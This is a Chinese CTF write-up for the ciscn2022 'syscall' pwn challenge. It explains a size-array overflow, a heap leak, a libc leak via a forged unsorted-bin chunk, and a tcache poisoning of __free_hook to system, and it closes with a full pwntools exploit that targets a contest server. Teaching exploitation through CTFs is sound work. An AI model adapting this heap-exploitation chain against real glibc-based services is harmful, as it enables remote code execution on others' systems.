# ciscn2022_syscall

程序的漏洞点在于 free 后不会清空 size 数组对应的数据,而且在同一个该位置再次申请一个 chunk 的时候,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
else if ( choice == 17 )                    // malloc
{
idx = (syscall)(38929LL, sub_E1B, 0LL, 0LL);
if ( idx < 0 )
goto LABEL_32;
if ( idx > 4 )
goto LABEL_32;
if ( (syscall)(38929LL, getheap_ptr, idx, 0LL) )
goto LABEL_32;
v2 = (syscall)(38929LL, strings, 5LL, 0LL);
(syscall)(38929LL, printf_, v2, 5LL);
szie = (syscall)(38929LL, read_, 0LL, 0LL);
if ( szie <= 0 )
goto LABEL_32;
if ( szie > 40 )
goto LABEL_32;
v3 = (syscall)(38929LL, malloc_, szie, 0LL);// malloc
(syscall)(38929LL, saveheap, idx, v3);
v4 = (syscall)(38929LL, strings, 9LL, 0LL);
(syscall)(38929LL, printf_, v4, 0LL);
v5 = szie;
v6 = (syscall)(38929LL, getheap_ptr, idx, 0LL);
(syscall)(0x1231LL, v6, v5, 0LL);
v7 = (syscall)(38929LL, getheap_ptr, idx, 0LL);
if ( (syscall)(38929LL, sub_E62, v7, 0LL) )// ke I //这里会检查我们输入的数据是否为DEADBEEF
goto LABEL_32; //如果是就会跳转,而下面则是记录这次我们申请的size
(syscall)(38929LL, read_context, idx, szie);
v8 = (syscall)(38929LL, getheap_ptr, idx, 0LL) & 0xFFF;
v9 = (syscall)(38929LL, strings, 7LL, 0LL);
(syscall)(38929LL, printf_, v9, v8);
}


// 如果是就会跳转,而下面则是记录这次我们申请的 size,这里一旦跳转,size 数组不会被更改,可能存在溢出。如上一次我们在这个位置放的堆块,申请的 size 是 0x28, 下一次我们申请的是 0x10,数据为 DEADBEEF,这里的 size 依旧是 0x28,造成溢出。

思路

1
2
3
4
5
6
7
8
9
add(0x28,'A'*0x28) #0
add(0x28,'A'*0x28) #1
add(0x28,'A'*0x28) #2
add(0x28,'A'*0x28) #3

free(0)
free(1)
free(2)
free(3)

申请出来四个 chunk,size 数组都是为 0x28

然后申请 4 个 0x10,数据为 DEADBEEF

1
2
3
4
5
6
7
8
9
10
11
def new_add():
r.sendline(b'17')
sleep(0.1)
r.sendlineafter('size: ',str(0x10))
sleep(0.1)
r.sendafter('content: ',str('DEADBEEF'))

new_add()
new_add()
new_add()
new_add()

这里就会造成溢出。先后释放 2,1,两个 chunk 进入 tcache,并且 1 对应的 chunk 的 fd 指针指向 2,chunk0 只有 0x20。我们输出 chunk0,一共输出 0x28 字节,将 chunk1 的 fd 指针泄露出来,就完成了堆地址的泄露。

1
2
3
4
5
6
7
8
9
free(2)
free(1)

show(0)
r.recvuntil("content: ")
r.recv(0x20)
heap_addr = u64(r.recv(8))
print(hex(heap_addr))

接下来,我们修改 chunk3 的头部,将其 size 从 0x21 改为 largebin 的大小范围,free (3) 令其进入 unsortedbins,我们在申请时,不要覆盖掉原本的 bk 指针就可以泄露出 libc 的地址。

这里 free (3) 要绕过检查,所以我们将伪造他的下一个 chunk 的 size。先后释放 2,1, 使 chunk1 的 fd 指向 chunk2,利用 chunk0 的溢出,修改 chnnk1 的 fd,使其指向我们的目标地址。将伪造的 chunk3 的下一个堆的头写为合法的大小。同时这个伪造的 chunk 的下一堆的 size 也要合法,但是我们只能写 0x28 字节,所以我们将第一个伪造成 0x11,

1
2
3
4
5
6
7
8
9
10
11
12
13
new_add() #1 0x370

new_add() #2 0x390
edit(2,p64(0)*3+p64(0x501))
show(2)
aimed_addr = heap_addr+0x10+0x500
free(2)
free(1)
edit(0,p64(0x21)*4+p64(aimed_addr))
new_add() #1 0x370

new_add() #20x8a0
edit(2,p64(0)+p64(0x11)+p64(0)+p64(0x11))

现在 chunk3 就可以正常 free,绕过检查。我们从 unsortedbins 上申请一个 chunk,完成 libc 的泄露

1
2
3
4
5
6
7
free(3)
new_add()
show(3)
r.recvuntil("content: ")
r.recv(8)
libcbase = u64(r.recv(8))-0x3ec0d0
print(hex(libcbase))

后面就是我们修改__free_hook 数据为 system 地址,触发 getshell

同样的手法。chunk0 修改 chunk1 的 fd,只不过这次是先后释放 3,1,chunk1 原本指向 chunk3

1
2
3
4
5
6
7
8
9
system = libcbase+ libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
free(3)
free(1)
edit(0,p64(0)*3+p64(0x21)+p64(free_hook))
add(0x10,'/bin/sh\x00')
add(0x10,p64(system))
pause()
free(1)

getflag

QQ图片20220618214051

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *

def dbg():
gdb.attach(p)

context.log_level = 'debug'
#r = process('./pwn')
r=remote('172.16.9.42',8083)
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')


def add(sz,content):
r.sendline(b'17')
r.sendlineafter('size: ',str(sz))
sleep(0.1)
r.sendafter('content: ',content)
sleep(0.1)
r.recvuntil(b'addr: ')
offset = int(r.recv(5),16)
return offset

def new_add():
r.sendline(b'17')
sleep(0.1)
r.sendlineafter('size: ',str(0x10))
sleep(0.1)
r.sendafter('content: ',str('DEADBEEF'))

def edit(idx,content):
r.sendline(b'68')
r.sendlineafter('idx: ',str(idx))
r.sendafter('content: ',content)

def show(idx):
r.sendline(b'51')
r.sendlineafter('idx: ',str(idx))

def free(idx):
r.sendline('34')
r.recvuntil('idx: ')
sleep(0.1)
r.sendline(str(idx))
sleep(0.1)

add(0x28,'A'*0x28) #0
add(0x28,'A'*0x28) #1
add(0x28,'A'*0x28) #2
add(0x28,'A'*0x28) #3

free(0)
free(1)
free(2)
free(3)

new_add()
new_add()
new_add()
new_add()

free(2)
free(1)

show(0)
r.recvuntil("content: ")
r.recv(0x20)
heap_addr = u64(r.recv(8))
print(hex(heap_addr))

new_add() #1 0x370

new_add() #2 0x390
edit(2,p64(0)*3+p64(0x501))
show(2)
aimed_addr = heap_addr+0x10+0x500
free(2)
free(1)
edit(0,p64(0x21)*4+p64(aimed_addr))
new_add() #1 0x370

new_add() #20x8a0
edit(2,p64(0)+p64(0x11)+p64(0)+p64(0x11))
show(2)
free(3)
new_add()
show(3)
r.recvuntil("content: ")
r.recv(8)
libcbase = u64(r.recv(8))-0x3ec0d0
print(hex(libcbase))

system = libcbase+ libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
free(3)
free(1)
edit(0,p64(0)*3+p64(0x21)+p64(free_hook))
add(0x10,'/bin/sh\x00')
add(0x10,p64(system))
pause()
free(1)

r.interactive()

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal